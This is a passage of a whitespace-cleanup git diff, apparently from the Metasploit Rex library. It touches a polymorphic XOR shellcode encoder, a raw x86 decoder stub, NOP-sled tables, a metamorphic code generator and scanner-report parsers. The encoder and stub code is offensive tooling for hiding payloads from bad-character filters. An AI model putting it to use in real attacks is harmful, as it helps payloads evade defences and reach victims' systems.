something smaller if we generated a blob too big) #block_sizes = (1..state.buf.length).to_a.shuffle #block_sizes.each do | len | - + 1.upto( state.buf.length ) do | len | - + # For now we ignore all odd sizes to help with performance (The rex poly machine # doesnt have many load/store primitives that can handle byte sizes efficiently) if( len % 2 != 0 ) next end - + blocks, size = compute_encoded( state, len ) if( blocks and size ) - + # We sanity check that the newly generated block ammount and the block size # are not in the badchar list when converted into a hex form. Helps speed # things up a great deal when generating a decoder stub later as these # values may be used throughout. - + if( not number_is_valid?( state, blocks.length - 1 ) or not number_is_valid?( state, ~( blocks.length - 1 ) ) ) next end - + if( not number_is_valid?( state, size ) or not number_is_valid?( state, ~size ) ) next end - + @blocks_out = blocks @block_size = size - + break end end @@ -64,26 +64,26 @@ module Encoder state.decoder_stub = compute_decoder( state ) end - + state.decoder_stub end - + # # # def encode_block( state, data ) - + buffer = '' - + @blocks_out.each do | block | buffer << block.pack( 'C*' ) end - + buffer end - + protected - + # # Is a number in its byte form valid against the badchars? # @@ -96,7 +96,7 @@ module Encoder end return Rex::Text.badchar_index( [ number ].pack( size ), state.badchars ).nil? end - + # # Calculate Shannon's entropy. # @@ -110,44 +110,44 @@ module Encoder end return entropy / 8 end - + # # Compute the encoded blocks (and associated seed) # def compute_encoded( state, len ) blocks_in = ::Array.new - + input = '' << state.buf - + block_padding = ( input.length % len ) > 0 ? len - ( input.length % len ) : 0 - + if( block_padding > 0 ) 0.upto( block_padding-1 ) do input << [ rand( 255 ) ].pack( 'C' ) end end - + while( input.length > 0 ) blocks_in << input[0..len-1].unpack( 'C*' ) input = input[len..input.length] end - + seed = compute_seed( blocks_in, len, block_padding, state.badchars.unpack( 'C*' ) ) if( not seed ) return [ nil, nil ] end - + blocks_out = [ seed ] - + blocks_in.each do | block | blocks_out << compute_block( blocks_out.last, block ) - end - + end + return [ blocks_out, len ] end - + # # Generate the decoder stub which is functionally equivalent to the following: # @@ -166,13 +166,13 @@ module Encoder # end: # def compute_decoder( state ) - + @machine.create_variable( 'source' ) @machine.create_variable( 'dest' ) @machine.create_variable( 'counter' ) @machine.create_variable( 'encoded' ) @machine.create_variable( 'decoded' ) - + chunk_size = Rex::Poly::Machine::BYTE if( @machine.native_size() == Rex::Poly::Machine::QWORD ) if( @block_size % Rex::Poly::Machine::QWORD == 0 ) @@ -181,13 +181,13 @@ module Encoder chunk_size = Rex::Poly::Machine::DWORD elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) chunk_size = Rex::Poly::Machine::WORD - end + end elsif( @machine.native_size() == Rex::Poly::Machine::DWORD ) if( @block_size % Rex::Poly::Machine::DWORD == 0 ) chunk_size = Rex::Poly::Machine::DWORD elsif( @block_size % Rex::Poly::Machine::WORD == 0 ) chunk_size = Rex::Poly::Machine::WORD - end + end elsif( @machine.native_size() == Rex::Poly::Machine::WORD ) if( @block_size % Rex::Poly::Machine::WORD == 0 ) chunk_size = Rex::Poly::Machine::WORD @@ -202,7 +202,7 @@ module Encoder # Block 3 - Set the destingation variable to the value of the source variable @machine.create_block_primitive( 'block3', 'set', 'dest', 'source' ) - + # Block 4 - Set the destingation variable to the address of the 2nd encoded block @machine.create_block_primitive( 'block4', 'add', 'dest', @block_size ) @@ -211,35 +211,35 @@ module Encoder # Block 6 - Set the encoded variable to the byte pointed to by the dest variable @machine.create_block_primitive( 'block6', 'load', 'encoded', 'dest', chunk_size ) - + # Block 7 - Increment the destination variable by one @machine.create_block_primitive( 'block7', 'add', 'dest', chunk_size ) - + # Block 8 - Set the decoded variable to the byte pointed to by the source variable @machine.create_block_primitive( 'block8', 'load', 'decoded', 'source', chunk_size ) - + # Block 9 - Xor the decoded variable with the encoded variable @machine.create_block_primitive( 'block9', 'xor', 'decoded', 'encoded' ) - + # Block 10 - store the newly decoded byte @machine.create_block_primitive( 'block10', 'store', 'source', 'decoded', chunk_size ) - + # Block 11 - Increment the source variable by one @machine.create_block_primitive( 'block11', 'add', 'source', chunk_size ) - + # Block 12 - Jump back up to the outer_loop block while the counter variable > 0 @machine.create_block_primitive( 'block12', 'loop', 'counter', 'block6' ) # Try to generate the decoder stub... decoder = @machine.generate - + if( not decoder ) raise RuntimeError, "Unable to generate decoder stub." end - + decoder end - + # # Compute the seed block which will successfully decode all proceeding encoded # blocks while ensuring the encoded blocks do not contain any badchars. @@ -247,33 +247,33 @@ module Encoder def compute_seed( blocks_in, block_size, block_padding, badchars ) seed = [] redo_bytes = [] - + 0.upto( block_size-1 ) do | index | - + seed_bytes = (0..255).sort_by do rand() end - + seed_bytes.each do | seed_byte | - + next if( badchars.include?( seed_byte ) ) - + success = true - + previous_byte = seed_byte - + if( redo_bytes.length < 256 ) redo_bytes = (0..255).sort_by do rand() end end - + blocks_in.each do | block | - + decoded_byte = block[ index ] - + encoded_byte = previous_byte ^ decoded_byte - + if( badchars.include?( encoded_byte ) ) # the padding bytes we added earlier can be changed if they are causing us to fail. if( block == blocks_in.last and index >= (block_size-block_padding) ) @@ -284,31 +284,31 @@ module Encoder block[ index ] = redo_bytes.shift redo end - + success = false break end - + previous_byte = encoded_byte end - + if( success ) seed << seed_byte break end end - + end - + if( seed.length == block_size ) return seed end - + return nil end # - # Compute the next encoded block by xoring the previous + # Compute the next encoded block by xoring the previous # encoded block with the next decoded block. # def compute_block( encoded, decoded ) @@ -318,9 +318,9 @@ module Encoder end return block end - + end end -end \ No newline at end of file +end diff --git a/lib/rex/encoder/nonalpha.rb b/lib/rex/encoder/nonalpha.rb index 8cff4190fe..4cc954e019 100644 --- a/lib/rex/encoder/nonalpha.rb +++ b/lib/rex/encoder/nonalpha.rb @@ -32,7 +32,7 @@ class NonAlpha if (tablelen > 255) or (block == 0x7B) raise RuntimeError, "BadChar" end - + if (block >= 0x41 and block <= 0x5A) or (block >= 0x61 and block <= 0x7A) # gen offset, return magic offset = 0x7b - block; diff --git a/lib/rex/encoder/nonupper.rb b/lib/rex/encoder/nonupper.rb index d7a598620a..2356b160d5 100644 --- a/lib/rex/encoder/nonupper.rb +++ b/lib/rex/encoder/nonupper.rb @@ -7,8 +7,8 @@ module Rex module Encoder class NonUpper - - + + def NonUpper.gen_decoder() decoder = "\x66\xB9\xFF\xFF" + @@ -26,14 +26,14 @@ class NonUpper "\x28\x07" + # subb [edi], al "\xEB\xF1" + # jmp BACK! "\xEB" + "B" + # jmp [shellcode] - "\xE8\xE2\xFF\xFF\xFF" + "\xE8\xE2\xFF\xFF\xFF" end def NonUpper.encode_byte(badchars, block, table, tablelen) if (tablelen > 255) or (block == 0x40) raise RuntimeError, "BadChar" end - + if (block >= 0x41 and block <= 0x40) or (badchars =~ block) # gen offset, return magic offset = 0x40 - block; diff --git a/lib/rex/encoding/xor/generic.rb b/lib/rex/encoding/xor/generic.rb index 6a1c538a0d..3f94071596 100644 --- a/lib/rex/encoding/xor/generic.rb +++ b/lib/rex/encoding/xor/generic.rb @@ -19,7 +19,7 @@ class Generic # # Now for some internal check methods - # + # # hook stylies! # return index of offending byte or nil @@ -82,7 +82,7 @@ class Generic if !badkeys[strip][kbyte] && !badchars[kbyte.chr] throw :found_kbyte end - + kbyte = (kbyte + 1) & 0xff } diff --git a/lib/rex/image_source/disk.rb b/lib/rex/image_source/disk.rb index 4a4a8b62c8..0b3f5faa83 100644 --- a/lib/rex/image_source/disk.rb +++ b/lib/rex/image_source/disk.rb @@ -31,7 +31,7 @@ class Disk < ImageSource file.seek(file_offset + offset) file.read(len) end - + def index(search, offset = 0) # do a sliding window search across the disk while offset < size diff --git a/lib/rex/image_source/image_source.rb b/lib/rex/image_source/image_source.rb index 9f2456cd43..549388fc4e 100644 --- a/lib/rex/image_source/image_source.rb +++ b/lib/rex/image_source/image_source.rb @@ -39,7 +39,7 @@ class ImageSource end return string end - + end diff --git a/lib/rex/io/datagram_abstraction.rb b/lib/rex/io/datagram_abstraction.rb index 5fa926ff28..24c5ce55cc 100644 --- a/lib/rex/io/datagram_abstraction.rb +++ b/lib/rex/io/datagram_abstraction.rb @@ -26,7 +26,7 @@ module DatagramAbstraction attr_reader :lsock # The right side of the stream (remote) attr_reader :rsock - + protected attr_writer :lsock attr_writer :rsock diff --git a/lib/rex/io/stream.rb b/lib/rex/io/stream.rb index a7dffc368b..7ea11f8c35 100644 --- a/lib/rex/io/stream.rb +++ b/lib/rex/io/stream.rb @@ -36,7 +36,7 @@ module Stream total_sent = 0 total_length = buf.length block_size = 32768 - + begin while( total_sent < total_length ) s = Rex::ThreadSafe.select( nil, [ fd ], nil, 0.2 ) @@ -59,7 +59,7 @@ module Stream rescue ::IOError, ::Errno::EPIPE return nil end - + total_sent end @@ -67,9 +67,9 @@ module Stream # This method reads data of the supplied length from the stream. # def read(length = nil, opts = {}) - + begin - return fd.read_nonblock( length ) + return fd.read_nonblock( length ) rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK # Sleep for a half a second, or until we can read again Rex::ThreadSafe.select( [ fd ], nil, nil, 0.5 ) diff --git a/lib/rex/io/stream_abstraction.rb b/lib/rex/io/stream_abstraction.rb index 6d40b21753..65c2b24f9b 100644 --- a/lib/rex/io/stream_abstraction.rb +++ b/lib/rex/io/stream_abstraction.rb @@ -74,14 +74,14 @@ module StreamAbstraction def syswrite(buffer) lsock.syswrite(buffer) end - + # # Low-level read from the local side. # def sysread(length) lsock.sysread(length) end - + # # Shuts down the local side of the stream abstraction. # @@ -164,7 +164,7 @@ protected while( total_sent < total_length ) begin data = buf[total_sent, buf.length] - + # Note that this must be write() NOT syswrite() or put() or anything like it. # Using syswrite() breaks SSL streams. sent = self.write( data ) diff --git a/lib/rex/io/stream_server.rb b/lib/rex/io/stream_server.rb index 8ed10692bb..b314f3e4f7 100644 --- a/lib/rex/io/stream_server.rb +++ b/lib/rex/io/stream_server.rb @@ -156,7 +156,7 @@ protected # Initialize the connection processing on_client_connect(cli) - + # Notify the client monitor self.client_waiter.push(cli) @@ -178,7 +178,7 @@ protected # def monitor_clients begin - + # Wait for a notify if our client list is empty if (clients.length == 0) self.client_waiter.pop diff --git a/lib/rex/job_container.rb b/lib/rex/job_container.rb index cda3afd3ea..acac8ae7f5 100644 --- a/lib/rex/job_container.rb +++ b/lib/rex/job_container.rb @@ -189,7 +189,7 @@ class JobContainer < Hash end list.each(&block) end - + protected attr_accessor :job_id_pool # :nodoc: diff --git a/lib/rex/logging/sinks/stderr.rb b/lib/rex/logging/sinks/stderr.rb index 3ed78801fc..333f157acf 100644 --- a/lib/rex/logging/sinks/stderr.rb +++ b/lib/rex/logging/sinks/stderr.rb @@ -33,7 +33,7 @@ class Stderr end $stderr.write("[#{get_current_timestamp}] [#{code}(#{level})] #{src}: #{msg}\n") end - + $stderr.flush end diff --git a/lib/rex/mac_oui.rb b/lib/rex/mac_oui.rb index 5ec1eaa458..d9e53d80e7 100644 --- a/lib/rex/mac_oui.rb +++ b/lib/rex/mac_oui.rb @@ -12,7 +12,7 @@ module Oui return fullname else return 'UNKNOWN' - end + end end def self.lookup_oui_company_name(mac) @@ -25,7 +25,7 @@ module Oui return fullname else return 'UNKNOWN' - end + end end def self.check_mac(mac) diff --git a/lib/rex/mime/part.rb b/lib/rex/mime/part.rb index 143a1c8de0..290b79458c 100644 --- a/lib/rex/mime/part.rb +++ b/lib/rex/mime/part.rb @@ -4,7 +4,7 @@ module MIME class Part require 'rex/mime/header' - + attr_accessor :header, :content def initialize diff --git a/lib/rex/nop/opty2.rb b/lib/rex/nop/opty2.rb index 6a56521dea..d8ecee25f8 100644 --- a/lib/rex/nop/opty2.rb +++ b/lib/rex/nop/opty2.rb @@ -61,7 +61,7 @@ class Opty2 # Skip it if it's masked off or too large next if ((e & mask) != 0) next if (((e >> 8) & 0xff) > slen) - + byte = e & 0xff # Skip it if it's a bad byte diff --git a/lib/rex/nop/opty2_tables.rb b/lib/rex/nop/opty2_tables.rb index 65f03ae52d..1ce66badba 100644 --- a/lib/rex/nop/opty2_tables.rb +++ b/lib/rex/nop/opty2_tables.rb @@ -18,7 +18,7 @@ module Opty2Tables 66005,65750,245,248,249,252,253,359 ] - StateTable = + StateTable = [ # 0x00 [[65796,66565,1048582,65804,66573,1048590,65812,66581,1048598,65820,66589,1048606,65828,66597,65575,65836,66605,65583,65844,66613,65591,316,1085,65599,65600,131137,262210,524355,1048644,2097221,4194374,8388679,65608,131145,262218,524363,1048652,2097229,4194382,8388687,1048656,1048657,1048658,1048659,1048660,1048661,1048662,1048663,1114200,1179737,1310810,1572955,1048668,3145821,5242974,9437279,1048672,1049704,1048938,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,144,196753,327826,589971,1114260,2162837,4259990,8454295,65688,262297,155,1048732,65695,424,1193,65968,131505,262578,524723,65972,131509,262582,524727,66744,132281,263354,525499,1049788,2098365,4195518,8389823,66005,65750,131552,131553,131554,483,491,245,248,249,252,253,358,359, 0x01018D]], diff --git a/lib/rex/ole/directory.rb b/lib/rex/ole/directory.rb index 6f43c71f44..4b91038686 100644 --- a/lib/rex/ole/directory.rb +++ b/lib/rex/ole/directory.rb @@ -29,7 +29,7 @@ class Directory < DirEntry @num_entries = 1 end - + # woop, recursive each def yield_entries(de, &block) block.call(de) diff --git a/lib/rex/parser/fusionvm_nokogiri.rb b/lib/rex/parser/fusionvm_nokogiri.rb index dd990cc110..adb016610a 100644 --- a/lib/rex/parser/fusionvm_nokogiri.rb +++ b/lib/rex/parser/fusionvm_nokogiri.rb @@ -8,7 +8,7 @@ module Parser load_nokogiri && class FusionVMDocument < Nokogiri::XML::SAX::Document - include NokogiriDocMixin + include NokogiriDocMixin def start_element(name=nil,attrs=[]) return nil if in_tag("JobOrder") @@ -26,7 +26,7 @@ module Parser } thost[:host] = attrs["IPAddress"] thost[:name] = attrs["HostName"] - @host = db_report(:host, thost) + @host = db_report(:host, thost) when "OS" @state[:has_text] = true when "Port" @@ -47,7 +47,7 @@ module Parser when "Title" @state[:has_text] = true when "Description" - @state[:has_text] = true + @state[:has_text] = true when "CVE" @state[:has_text] = true when "References" @@ -86,13 +86,13 @@ module Parser when "CVE" @vuln[:refs] << "CVE-#{@text.strip}" when "References" - unless @text.blank? + unless @text.blank? @text.split(' ').each do |ref| next unless ref.start_with? "http" if ref =~ /MS\d{2}-\d{3}/ @vuln[:refs] << "MSB-#{$&}" - else - @vuln[:refs] << "URL-#{ref.strip}" + else + @vuln[:refs] << "URL-#{ref.strip}" end end end @@ -106,4 +106,4 @@ module Parser end end -end \ No newline at end of file +end diff --git a/lib/rex/parser/ini.rb b/lib/rex/parser/ini.rb index da7d14d354..a5b6595d8e 100644 --- a/lib/rex/parser/ini.rb +++ b/lib/rex/parser/ini.rb @@ -14,7 +14,7 @@ class Ini < Hash # Factories # ## - + # # Creates a new class instance and reads in the contents of the supplied # file path. @@ -52,7 +52,7 @@ class Ini < Hash # # Enumerates the groups hash keys. # - def each_group(&block) + def each_group(&block) self.keys.each { |k| yield } @@ -87,7 +87,7 @@ class Ini < Hash # def from_file(fpath = nil) fpath = path if (!fpath) - + read_groups(fpath) end @@ -167,7 +167,7 @@ protected # Is it a group [bob]? if (md = line.match(/^\[(.+?)\]/)) - active_group = md[1] + active_group = md[1] self[md[1]] = {} # Is it a VAR=VAL? elsif (md = line.match(/^(.+?)=(.*)$/)) diff --git a/lib/rex/parser/ip360_aspl_xml.rb b/lib/rex/parser/ip360_aspl_xml.rb index 700045c413..dcc0e1f752 100644 --- a/lib/rex/parser/ip360_aspl_xml.rb +++ b/lib/rex/parser/ip360_aspl_xml.rb @@ -7,7 +7,7 @@ module Parser class IP360ASPLXMLStreamParser - + @vulnid = nil @appid = nil @location = nil @@ -49,7 +49,7 @@ class IP360ASPLXMLStreamParser @osid = attributes['id'].strip end end - + def text(str) case @state when :is_name diff --git a/lib/rex/parser/nexpose_raw_nokogiri.rb b/lib/rex/parser/nexpose_raw_nokogiri.rb index b7892e5762..87c67f3d8e 100644 --- a/lib/rex/parser/nexpose_raw_nokogiri.rb +++ b/lib/rex/parser/nexpose_raw_nokogiri.rb @@ -13,7 +13,7 @@ module Rex attr_reader :tests NEXPOSE_HOST_DETAIL_FIELDS = %W{ nx_device_id nx_site_name nx_site_importance nx_scan_template nx_risk_score } - NEXPOSE_VULN_DETAIL_FIELDS = %W{ + NEXPOSE_VULN_DETAIL_FIELDS = %W{ nx_scan_id nx_vulnerable_since nx_pci_compliance_status @@ -115,7 +115,7 @@ module Rex when "solution" @state[:has_text] = false collect_vuln_solution - @text = nil + @text = nil when "tag" @state[:has_text] = false collect_tag @@ -217,20 +217,20 @@ module Rex # Mass update vulnerability details across the database based on conditions vdet_info = { :title => @report_data[:vuln]["title"] } vdet_info[:description] = @report_data[:vuln_description] unless @report_data[:vuln_description].to_s.empty? - vdet_info[:solution] = @report_data[:vuln_solution] unless @report_data[:vuln_solution].to_s.empty? + vdet_info[:solution] = @report_data[:vuln_solution] unless @report_data[:vuln_solution].to_s.empty? vdet_info[:nx_tags] = @report_data[:vuln_tags].sort.uniq.join(", ") if ( @report_data[:vuln_tags].kind_of?(::Array) and @report_data[:vuln_tags].length > 0 ) vdet_info[:nx_severity] = @report_data[:vuln]["severity"].to_f if @report_data[:vuln]["severity"] vdet_info[:nx_pci_severity] = @report_data[:vuln]["pciSeverity"].to_f if @report_data[:vuln]["pciSeverity"] vdet_info[:cvss_score] = @report_data[:vuln]["cvssScore"].to_f if @report_data[:vuln]["cvssScore"] vdet_info[:cvss_vector] = @report_data[:vuln]["cvssVector"] if @report_data[:vuln]["cvssVector"] - + %W{ published added modified }.each do |tf| next if not @report_data[:vuln][tf] ts = DateTime.parse(@report_data[:vuln][tf]) rescue nil next if not ts vdet_info[ "nx_#{tf}".to_sym ] = ts end - + ::Mdm::VulnDetail.where(:id => vdet_ids).update_all(vdet_info) @report_data[:vuln] = nil @@ -263,7 +263,7 @@ module Rex end - def record_formatted_content(name, eattrs) + def record_formatted_content(name, eattrs) attrs = attr_hash(eattrs) stack = nil @@ -293,7 +293,7 @@ module Rex when 'URLLink' @report_data[:formatted_link] = attrs["LinkURL"] else - + if @report_data[:formatted_indent] > 1 data = (" " * (@report_data[:formatted_indent])) + data end @@ -305,10 +305,10 @@ module Rex if data.length > 0 stack << data - end + end end - def collect_formatted_content(name) + def collect_formatted_content(name) stack = nil prefix = "" @@ -325,7 +325,7 @@ module Rex end return if not stack - + data = @text.to_s.strip.split(/\n+/).map{|t| t.strip}.join(" ") @text = "" @@ -385,7 +385,7 @@ module Rex # This hash defines the matching criteria to overwrite an existing entry vkey = { :src => 'nexpose', :nx_vuln_id => @state[:test][:id] } - if @state[:nx_device_id] + if @state[:nx_device_id] vdet[:nx_device_id] = @state[:nx_device_id] vkey[:nx_device_id] = @state[:nx_device_id] end @@ -405,12 +405,12 @@ module Rex ts = ::DateTime.parse(@state[:test][:nx_vulnerable_since]) rescue nil vdet[:nx_vulnerable_since] = ts if ts end - + proof = clean_formatted_text(@report_data[:vuln_proof_stack].join.strip) @report_data[:vuln_proof_stack] = [] vuln_info[:info] = proof - vdet[:proof] = proof + vdet[:proof] = proof # Configure the find key for vuln_details vdet[:key] = vkey @@ -423,7 +423,7 @@ module Rex # Report the vulnerability vuln = db.report_vuln(vuln_info) - + if vuln # Report the vulnerability details detail = db.report_vuln_details(vuln, vdet) @@ -652,12 +652,12 @@ module Rex if host_object db.report_import_note(host_object.workspace, host_object) if device_id - detail = { - :key => { :src => 'nexpose' }, + detail = { + :key => { :src => 'nexpose' }, :src => 'nexpose', - :nx_device_id => device_id + :nx_device_id => device_id } - detail[:nx_console_id] = @nx_console_id if @nx_console_id + detail[:nx_console_id] = @nx_console_id if @nx_console_id NEXPOSE_HOST_DETAIL_FIELDS.each do |f| v = @report_data.delete(f.to_sym) diff --git a/lib/rex/parser/nokogiri_doc_mixin.rb b/lib/rex/parser/nokogiri_doc_mixin.rb index aad4ea779e..9a5b04de91 100644 --- a/lib/rex/parser/nokogiri_doc_mixin.rb +++ b/lib/rex/parser/nokogiri_doc_mixin.rb @@ -102,7 +102,7 @@ module Parser return [] unless orig_refs refs = [] orig_refs.each do |ref_hash| - + ref_hash_sym = Hash[ref_hash.map {|k, v| [k.to_sym, v] }] ref_type = ref_hash_sym[:source].to_s.strip.upcase ref_value = ref_hash_sym[:value].to_s.strip diff --git a/lib/rex/parser/retina_xml.rb b/lib/rex/parser/retina_xml.rb index 4c34cde91e..ed1ced1f00 100644 --- a/lib/rex/parser/retina_xml.rb +++ b/lib/rex/parser/retina_xml.rb @@ -17,7 +17,7 @@ class RetinaXMLStreamParser @host = { 'vulns' => [] } reset_audit_state end - + def reset_audit_state @audit = { 'refs' => [] } end @@ -106,5 +106,5 @@ __END__ - + diff --git a/lib/rex/parser/wapiti_nokogiri.rb b/lib/rex/parser/wapiti_nokogiri.rb index d9aad2d461..c5e04c2184 100644 --- a/lib/rex/parser/wapiti_nokogiri.rb +++ b/lib/rex/parser/wapiti_nokogiri.rb @@ -64,7 +64,7 @@ module Rex def report_vuln(&block) proto = @state[:url].split(":")[0] path = '/' + (@state[:url].split("/")[3..(@state[:url].split("/").length - 1)].join('/')) - + web_vuln_info = {} web_vuln_info[:web_site] = proto + "://" + @state[:host] + ":" + @state[:port] web_vuln_info[:path] = path @@ -85,7 +85,7 @@ module Rex elsif param.index("alert") web_vuln_info[:pname] = param.split('=')[0] #xss end - end + end web_vuln_info[:host] = @state[:host] web_vuln_info[:port] = @state[:port] diff --git a/lib/rex/payloads/win32/kernel/recovery.rb b/lib/rex/payloads/win32/kernel/recovery.rb index b9825eafc1..cc4cb09d29 100644 --- a/lib/rex/payloads/win32/kernel/recovery.rb +++ b/lib/rex/payloads/win32/kernel/recovery.rb @@ -23,7 +23,7 @@ module Recovery # Infinite 'hlt' loop. # def self.spin(opts = {}) - "\xf4\xeb\xfd" + "\xf4\xeb\xfd" end # diff --git a/lib/rex/peparsey/pe_memdump.rb b/lib/rex/peparsey/pe_memdump.rb index cf72ce5397..85f118f8c7 100644 --- a/lib/rex/peparsey/pe_memdump.rb +++ b/lib/rex/peparsey/pe_memdump.rb @@ -24,11 +24,11 @@ class PeMemDump < Pe end def self.new_from_file(filename, disk_backed = false) - + if filename[-4, 4] != '.rng' raise "Not a .rng file: #{filename}" end - + if filename[-9, 9] == "index.rng" raise SkipError end @@ -51,7 +51,7 @@ class PeMemDump < Pe self.sections = [ self.header_section ] self.image_base = 0 end - + def all_sections self.sections end diff --git a/lib/rex/peparsey/section.rb b/lib/rex/peparsey/section.rb index dfec34e7a7..3036028929 100644 --- a/lib/rex/peparsey/section.rb +++ b/lib/rex/peparsey/section.rb @@ -48,7 +48,7 @@ class Section return nil if !_section_header _section_header.v['Characteristics'] end - + def vma # a section header is not required return nil if !_section_header @@ -59,8 +59,8 @@ class Section # a section header is not required return nil if !_section_header _section_header.v['SizeOfRawData'] - end - + end + def _check_offset(offset, len = 1) if offset < 0 || offset+len > size raise BoundsError, "Offset #{offset} outside of section", caller diff --git a/lib/rex/pescan/scanner.rb b/lib/rex/pescan/scanner.rb index 01e83bfd55..be55c11edd 100644 --- a/lib/rex/pescan/scanner.rb +++ b/lib/rex/pescan/scanner.rb @@ -32,7 +32,7 @@ module Scanner if(param['disasm']) #puts [msg].pack('H*').inspect insns = [] - + msg.gsub!("; ", "\n") if msg.include?("retn") msg.gsub!("retn", "ret") diff --git a/lib/rex/pescan/search.rb b/lib/rex/pescan/search.rb index 1202fd3bad..19cb919c64 100644 --- a/lib/rex/pescan/search.rb +++ b/lib/rex/pescan/search.rb @@ -4,36 +4,36 @@ module PeScan module Search require "rex/assembly/nasm" - + class DumpRVA attr_accessor :pe - + def initialize(pe) self.pe = pe end - + def config(param) @address = pe.vma_to_rva(param['args']) end - + def scan(param) config(param) - + $stdout.puts "[#{param['file']}]" - + # Adjust based on -A and -B flags pre = param['before'] || 0 suf = param['after'] || 16 - + @address -= pre @address = 0 if (@address < 0 || ! @address) - + begin buf = pe.read_rva(@address, suf) rescue ::Rex::PeParsey::WtfError return end - + $stdout.puts pe.ptr_s(pe.rva_to_vma(@address)) + " " + buf.unpack("H*")[0] if(param['disasm']) insns = [] @@ -51,8 +51,8 @@ module Search addr = di.next_addr end end - - end + + end end class DumpOffset < DumpRVA @@ -62,7 +62,7 @@ module Search rescue Rex::PeParsey::BoundsError end end - end + end end end end diff --git a/lib/rex/platforms/windows.rb b/lib/rex/platforms/windows.rb index 85011d20b8..781ac34c08 100644 --- a/lib/rex/platforms/windows.rb +++ b/lib/rex/platforms/windows.rb @@ -46,7 +46,7 @@ module Windows HKEY_LOCAL_MACHINE end end - + end end end diff --git a/lib/rex/poly/machine.rb b/lib/rex/poly/machine.rb index 9e60195da1..9213444752 100644 --- a/lib/rex/poly/machine.rb +++ b/lib/rex/poly/machine.rb @@ -3,10 +3,10 @@ module Rex module Poly - require 'metasm' + require 'metasm' require 'rex/poly/machine/machine' require 'rex/poly/machine/x86' end - + end diff --git a/lib/rex/poly/machine/machine.rb b/lib/rex/poly/machine/machine.rb index 6bac6a8b1f..8e569de956 100644 --- a/lib/rex/poly/machine/machine.rb +++ b/lib/rex/poly/machine/machine.rb @@ -2,29 +2,29 @@ module Rex module Poly - + # # A machine capable of creating a small blob of code in a metamorphic kind of way. # Note: this is designed to perform an exhaustive search for a solution and can be - # slow. If you need a speedier option, the origional Rex::Polly::Block stuff is a + # slow. If you need a speedier option, the origional Rex::Polly::Block stuff is a # better choice. # class Machine - + QWORD = 8 DWORD = 4 WORD = 2 BYTE = 1 - + # # A Permutation! # class Permutation - + attr_accessor :active, :offset - + attr_reader :name, :primitive, :length, :args - + # # Create a new permutation object. # @@ -40,14 +40,14 @@ module Rex @offset = 0 @children = ::Array.new end - + # # Add in a child permutation to this one. Used to build the permutation tree. # def add_child( child ) @children << child end - + # # Does this permutation have children? # @@ -62,7 +62,7 @@ module Rex def remove_children @children.clear end - + # # Actully render this permutation into a raw buffer. # @@ -107,12 +107,12 @@ module Rex end # Update the length to reflect the new raw buffer @length = raw.to_s.length - # As the temp variable is only assigned for the duration of a single permutation we + # As the temp variable is only assigned for the duration of a single permutation we # can now release it if it was used in this permutation. @machine.release_temp_variable return raw.to_s end - + # # Test if this permutation raw buffer is valid in this machine (e.g. against the badchar list). # @@ -132,10 +132,10 @@ module Rex # Should a temporary variable have been assigned we can release it here. @machine.release_temp_variable end - end + end return result end - + # # Try to find a solution within the solution space by performing a depth first search # into the permutation tree and backtracking when needed. @@ -172,9 +172,9 @@ module Rex # No children can be made form part of the solution, return failure for this path in the tree. return false end - + end - + # # A symbolic permutation to mark locations like the begining and end of a group of blocks. # Used to calculate usefull offsets. @@ -189,7 +189,7 @@ module Rex # A symbolic block is allways active! @active = true end - + # # We block all attempts to set the active state of this permutation so as # it is always true. This lets us always address the offset. @@ -197,76 +197,76 @@ module Rex def active=( value ) end end - + # # A primitive is a machine defined permutation which accepts some arguments when it is called. # class Primitive - + # # Initialize this primitive with its target source procedure and the machine it belongs to. # def initialize( source ) @source = source end - + # # Call the primitives source procedure, passing in the arguments. # def call( name, machine, *args ) return @source.call( name, machine, *args ) end - + end - + # # # class Block - + #attr_accessor :next, :previous attr_reader :name - + def initialize( name ) @name = name @next = nil @previous = nil @permutations = ::Array.new end - + def shuffle @permutations = @permutations.shuffle end - + def solve @permutations.first.solve end - + def << ( permutation ) @permutations << permutation end - + def each @permutations.each do | permutation | yield permutation end end - + end - + # # A class to hold a solution for a Rex::Poly::Machine problem. # class Solution - + attr_reader :offset - + def initialize @permutations = ::Array.new @reg_state = ::Array.new @offset = 0 end - + # # Reset this solution to an empty state. # @@ -279,7 +279,7 @@ module Rex @permutations.clear @reg_state.clear end - + # # Push a new permutation onto this solutions permutations list and save the associated register/variables state # @@ -290,7 +290,7 @@ module Rex @permutations.push( permutation ) @reg_state.push( [ [].concat(reg_available), [].concat(reg_consumed), {}.merge(variables) ] ) end - + # # Pop off the last permutaion and register/variables state from this solution. # @@ -342,45 +342,45 @@ module Rex end return raw end - + end - + # # Create a new machine instance. # def initialize( badchars, cpu ) @badchars = badchars @cpu = cpu - + @reg_available = ::Array.new @reg_consumed = ::Array.new @variables = ::Hash.new @blocks = ::Hash.new @primitives = ::Hash.new @solution = Solution.new - + _create_primitives - + @blocks['begin'] = Block.new( 'begin' ) @blocks['begin'] << SymbolicPermutation.new( 'begin', self ) - + _create_variable( 'temp' ) end - + # # Overloaded by a subclass to return the maximum native general register size supported. # def native_size nil end - + # # Use METASM to assemble a line of asm using this machines current cpu. # def assemble( asm ) return Metasm::Shellcode.assemble( @cpu, asm ).encode_string end - + # # Check if a data blob is valid against the badchar list (or perform any other validation here) # @@ -390,7 +390,7 @@ module Rex end return Rex::Text.badchar_index( data, @badchars ).nil? end - + # # Generate a 64 bit number whoes bytes are valid in this machine. # @@ -418,7 +418,7 @@ module Rex def make_safe_byte( number=nil ) return _make_safe_number( BYTE, number ) & 0xFF end - + # # Create a variable by name which will be assigned a register during generation. We can # optionally assign a static register value to a variable if needed. @@ -430,7 +430,7 @@ module Rex end return _create_variable( name, reg ) end - + # # If the temp variable was assigned we release it. # @@ -448,7 +448,7 @@ module Rex end return false end - + # # Resolve a variable name into its currently assigned register value. # @@ -472,14 +472,14 @@ module Rex # resolve the register number int a string representation (e.g. 0 in x86 is EAX if size is 32) return _register_value( regnum, size ) end - + # # Check this solution is still currently valid (as offsets change it may not be). # def solution_is_valid? return self.is_valid?( @solution.buffer ) end - + # # As the solution advances we save state for each permutation step in the solution. This lets # use rewind at a later stage if the solving algorithm wishes to perform some backtracking. @@ -487,7 +487,7 @@ module Rex def solution_push( permutation ) @solution.push( permutation, @reg_available, @reg_consumed, @variables ) end - + # # Backtrack one step in the solution and restore the register/variable state. # @@ -496,7 +496,7 @@ module Rex @reg_available.push( 